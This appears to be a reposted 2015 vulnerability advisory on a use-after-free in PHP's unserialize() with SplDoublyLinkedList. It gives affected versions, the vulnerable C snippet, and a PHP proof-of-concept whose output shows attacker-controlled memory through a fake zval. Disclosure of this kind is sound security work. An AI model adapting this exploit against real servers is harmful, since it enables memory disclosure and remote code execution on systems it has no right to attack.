Home / os / winmobile

PHP SplDoublyLinkedList Use-After-Free

Posted on 09 August 2015

#Use After Free Vulnerability in unserialize() with SplDoublyLinkedList

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:
2015.7.30 - Release Date: 2015.8.7

> A use-after-free vulnerability was discovered in unserialize() with SplDoublyLinkedList object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

```
 ALLOC_INIT_ZVAL(flags);
 if (!php_var_unserialize(&flags, &p, s + buf_len, &var_hash
TSRMLS_CC) || Z_TYPE_P(flags) != IS_LONG) {
 zval_ptr_dtor(&flags);
 goto error;
 }
 intern->flags = Z_LVAL_P(flags);
 zval_ptr_dtor(&flags); <=== free memory

 ...

 PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
 return;
```

The zval_ptr_dtor() leads to &flags is freed from memory. However the
unserialize() will still allow to use R: or r: to set references to
that already freed memory. It is possible to use-after-free attack and
execute arbitrary code remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.

```
<?php

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "x00x00x00x00";
$fakezval .= "x01";
$fakezval .= "x00";
$fakezval .= "x00x00";

$inner = 'i:0;';
$exploit = 'a:2:{i:0;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
 $v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
 $out = "";
 for ($i = 0; $i < 8; $i++) {
 $out .= chr($ptr & 0xff);
 $ptr >>= 8;
 }
 return $out;
}

?>
```

Test the PoC on the command line:

```
$ php uafpoc.php
array(2) {
 [0]=>
 object(SplDoublyLinkedList)#1 (2) {
 ["flags":"SplDoublyLinkedList":private]=>
 int(0)
 ["dllist":"SplDoublyLinkedList":private]=>
 array(0) {
 }
 }
 [1]=>
 int(1122334455) <=== so we can control the memory and create fake ZVAL :)
}
```

 

TOP